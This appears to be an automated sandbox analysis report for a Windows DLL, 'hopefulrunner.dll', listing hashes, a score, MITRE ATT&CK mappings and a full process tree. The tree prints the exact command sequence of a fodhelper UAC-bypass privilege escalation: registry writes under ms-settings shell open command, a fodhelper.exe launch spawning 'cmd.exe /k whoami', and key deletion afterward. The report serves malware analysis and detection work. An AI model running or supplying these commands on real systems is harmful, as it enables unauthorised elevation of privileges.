7126c9fe5f7ee74c890b48a0fa78481660d34ba17fee5d12cc38fb9e45ad4e92

Analysis

user interaction
yes
max time kernel
6s
max time network
7s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/08/2026, 03:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
hopefulrunner.dll
Size 107KB
Sample260822-dml2dsen31
SHA256 7126c9fe5f7ee74c890b48a0fa78481660d34ba17fee5d12cc38fb9e45ad4e92
MD5 fba21e7d04e313583c2358b4053567a7
SHA1 fedb2a83acde37eb3097b85491e299219913dcac
SHA512 c3818d9d9f5a8a520817b13a3331db625200a87ee8b1204aa3e953d3e4cb7fed40b363e127ed1af406f3bd856abb5eaedbb187b0c2f33c1d808e218eefd9ece7
SSDEEP 1536:jgPt4UBjYrAGFOi4DcMYvw6xq4hpQL/MDVjKC37REuPuJnAWnYeNLpXtghZJlRJE:MF4UBjC2Sp7RmV
TLSH
T169B3F9C2BBCBEE97CA01623055FA43291339F2D51B860B07786959310F17BE47E9BB46
MD5 SHA1 SHA512 SSDEEP TLSH

Score

5^/10

execution

Malware Config

Signatures

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\spool\drivers\color\privilege_verification.txt	rundll32.exe

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2536	cmd.exe
1188	cmd.exe
5556	cmd.exe
2572	cmd.exe
4440	cmd.exe

Modifies registry class 11 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command\DelegateExecute	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command\ = "cmd.exe /k whoami"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command	reg.exe

Modifies registry key 1 TTPs 3 IoCs

Modify Registry

T1112

pid	Process
2264	reg.exe
5368	reg.exe
6052	reg.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2620	whoami.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4100 wrote to memory of 4440	4100	rundll32.exe	89
PID 4440 wrote to memory of 2264	4440	cmd.exe	91
PID 4100 wrote to memory of 2536	4100	rundll32.exe	92
PID 2536 wrote to memory of 5368	2536	cmd.exe	94
PID 4100 wrote to memory of 1188	4100	rundll32.exe	95
PID 1188 wrote to memory of 5780	1188	cmd.exe	97
PID 5780 wrote to memory of 5556	5780	fodhelper.exe	98
PID 4100 wrote to memory of 2572	4100	rundll32.exe	100
PID 5556 wrote to memory of 2620	5556	cmd.exe	102
PID 2572 wrote to memory of 6052	2572	cmd.exe	103

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\hopefulrunner.dll,#1
1⤵
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:4100
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /ve /d "cmd.exe /k whoami" /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4440
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Classes\ms-settings\shell\open\command /ve /d "cmd.exe /k whoami" /f
    3⤵
    - Modifies registry class
    - Modifies registry key
    PID:2264
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /v DelegateExecute /t REG_SZ /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2536
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Classes\ms-settings\shell\open\command /v DelegateExecute /t REG_SZ /f
    3⤵
    - Modifies registry class
    - Modifies registry key
    PID:5368
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c fodhelper.exe
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1188
- - C:\Windows\system32\fodhelper.exe
    fodhelper.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5780
  - - C:\Windows\system32\cmd.exe
      "cmd.exe" /k whoami
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:5556
    - - C:\Windows\system32\whoami.exe
        
        whoami
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2620
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg delete HKCU\Software\Classes\ms-settings /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2572
- - C:\Windows\system32\reg.exe
    reg delete HKCU\Software\Classes\ms-settings /f
    3⤵
    - Modifies registry class
    - Modifies registry key
    PID:6052

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads